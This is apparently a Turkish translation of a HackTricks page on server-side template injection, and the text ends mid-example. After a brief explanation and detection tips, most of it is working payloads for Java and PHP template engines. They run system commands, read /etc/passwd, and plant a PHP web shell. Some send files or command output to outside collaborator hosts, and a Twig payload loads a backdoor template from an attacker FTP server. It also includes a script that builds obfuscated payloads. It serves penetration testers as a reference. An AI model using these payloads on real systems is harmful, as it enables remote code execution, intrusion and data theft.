SSTI (Server Side Template Injection)

HackTricks'i Destekleyin

RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

SSTI (Server-Side Template Injection) Nedir

Sunucu tarafı şablon enjeksiyonu, bir saldırganın sunucuda yürütülen bir şablona kötü niyetli kod enjekte edebilmesi durumunda meydana gelen bir güvenlik açığıdır. Bu güvenlik açığı, Jinja dahil olmak üzere çeşitli teknolojilerde bulunabilir.

Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanarak bir güvenlik açığına sahip kod parçasını gösteren bir örneği ele alalım:

output = template.render(name=request.args.get('name'))

Bu savunmasız kodda, kullanıcının isteğinden gelen name parametresi doğrudan render fonksiyonu kullanılarak şablona aktarılmaktadır. Bu, bir saldırganın name parametresine kötü niyetli kod enjekte etmesine olanak tanıyabilir ve bu da sunucu tarafı şablon enjeksiyonuna yol açabilir.

Örneğin, bir saldırgan şu şekilde bir yük ile bir istek oluşturabilir:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} name parametresine enjekte edilir. Bu yük, saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine olanak tanıyan Jinja şablon direktiflerini içerebilir ve potansiyel olarak sunucu üzerinde kontrol kazanabilir.

Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiricilerin kullanıcı girdisinin şablonlara eklenmeden önce düzgün bir şekilde temizlendiğinden ve doğrulandığından emin olmaları gerekir. Girdi doğrulaması uygulamak ve bağlama duyarlı kaçış teknikleri kullanmak, bu zafiyetin riskini azaltmaya yardımcı olabilir.

Detection

Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta şablonu fuzzing yapmak basit bir yaklaşımdır. Bu, şablona bir dizi özel karakter (${{<%[%'"}}%\) enjekte etmeyi ve sunucunun normal verilerle bu özel yük arasındaki yanıt farklılıklarını analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:

  • Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran hatalar.

  • Yansımada yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu normal verilerden farklı işlediğini ima eder.

  • Düz Metin Bağlamı: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS'ten ayırt edin (örneğin, {{7*7}}, ${7*7}).

  • Kod Bağlamı: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, http://vulnerable-website.com/?greeting=data.username içindeki greeting değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için greeting=data.username}}hello gibi bir yanıt alıp almadığını kontrol edin.

Identification Phase

Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil spesifik yükleri manuel olarak test etmeyi içerir. Hatalara neden olan yaygın yükler arasında ${7/0}, {{7/0}} ve <%= 7/0 %> bulunur. Matematiksel işlemlere sunucunun yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur.

Tools

yenilikçi poliglotlar kullanan etkili bir SSTI + CSTI tarayıcısıdır.

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

en etkili şablon enjeksiyonu poliglotlarını ve 44 en önemli şablon motorunun beklenen yanıtlarını içeren etkileşimli bir tablo.

Exploits

Generic

Bu wordlist içinde aşağıda belirtilen motorların bazı ortamlarında tanımlı değişkenler bulabilirsiniz:

Java

Java - Temel enjeksiyon

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Sistemin ortam değişkenlerini al

${T(java.lang.System).getenv()}

Java - /etc/passwd'ı Al

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Payload'larınızı https://try.freemarker.apache.org adresinde deneyebilirsiniz.

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (eski)

  • ${7*'7'} Hiçbir şey

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox atlatma

⚠️ yalnızca 2.3.30'dan önceki Freemarker sürümlerinde çalışır

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Daha fazla bilgi

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Daha fazla bilgi

Thymeleaf

Thymeleaf'de, SSTI zafiyetleri için yaygın bir test ifadesi ${7*7}'dir; bu, bu şablon motoru için de geçerlidir. Potansiyel uzaktan kod yürütme için aşağıdaki gibi ifadeler kullanılabilir:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, ifade iç içe geçirme diğer şablon konumları için desteklenir ve [[...]] veya [(...)] gibi sözdizimi kullanır. Bu nedenle, basit bir SSTI test yükü [[${7*7}]] gibi görünebilir.

Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi TemplateResolver'larını uygulamaları gerekir ki bu da yaygın değildir.

Thymeleaf ayrıca, çift alt çizgi içinde (__...__) bulunan ifadelerin ön işleme tabi tutulduğu ifade ön işleme sunar. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi, ifadelerin inşasında kullanılabilir:

#{selection.__${sel.code}__}

Thymeleaf'deki Zafiyet Örneği

Aşağıdaki kod parçasını düşünün, bu istismar edilmeye açık olabilir:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Bu, şablon motorunun bu girdileri yanlış bir şekilde işlemesi durumunda, aşağıdaki gibi URL'lere erişim sağlayarak uzaktan kod yürütmeye yol açabileceğini gösterir:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Daha fazla bilgi

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Filtreleri Atlatma

Birden fazla değişken ifadesi kullanılabilir, eğer ${...} çalışmıyorsa #{...}, *{...}, @{...} veya ~{...} deneyin.

  • /etc/passwd dosyasını oku

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Payload üretimi için Özel Script

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Daha Fazla Bilgi

Spring Görünüm Manipülasyonu (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble'ın eski versiyonu ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Yeni Pebble sürümü:

{% set cmd = 'id' %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, https://github.com/HubSpot/jinjava/ adresinde mevcuttur.

Jinjava - Komut yürütme

https://github.com/HubSpot/jinjava/pull/230 ile düzeltildi.

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Daha fazla bilgi

Hubspot - HuBL (Java)

  • {% %} ifade ayırıcıları

  • {{ }} ifade ayırıcıları

  • {# #} yorum ayırıcıları

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" için arama yapın ve Jinjava projesini Github'da keşfedin.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Daha fazla bilgi

İfade Dili - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

İfade Dili (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için çok sayıda JavaEE teknolojisinde yaygın olarak kullanılmaktadır. EL'yi kullanan ana JavaEE teknolojileri şunlardır:

  • JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri ilgili arka uç verileri ve eylemleri ile bağlamak için EL kullanır.

  • JavaServer Pages (JSP): JSP sayfalarında verileri erişmek ve manipüle etmek için EL kullanılır, bu da sayfa öğelerini uygulama verileriyle bağlamayı kolaylaştırır.

  • Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI): EL, web katmanı ile yönetilen bean'ler arasında kesintisiz etkileşim sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar.

EL yorumlayıcılarının istismarını öğrenmek için aşağıdaki sayfayı kontrol edin:

EL - Expression Language

Groovy (Java)

Aşağıdaki Güvenlik Yöneticisi atlatmaları bu yazıdan alınmıştır.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonu ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Daha fazla bilgi

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Hata

  • {{foobar}} Hiçbir şey

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Şablon formatı

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Daha fazla bilgi

Plates (PHP)

Plates, Twig'den ilham alan PHP'ye özgü bir şablon motorudur. Ancak, yeni bir sözdizimi tanıtan Twig'in aksine, Plates şablonlarda yerel PHP kodunu kullanarak PHP geliştiricileri için sezgisel hale getirir.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Sayfa şablonu:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Layout şablonu:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Daha fazla bilgi

PHPlib ve HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib ile aynıdır ancak Pear'a taşınmıştır.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
&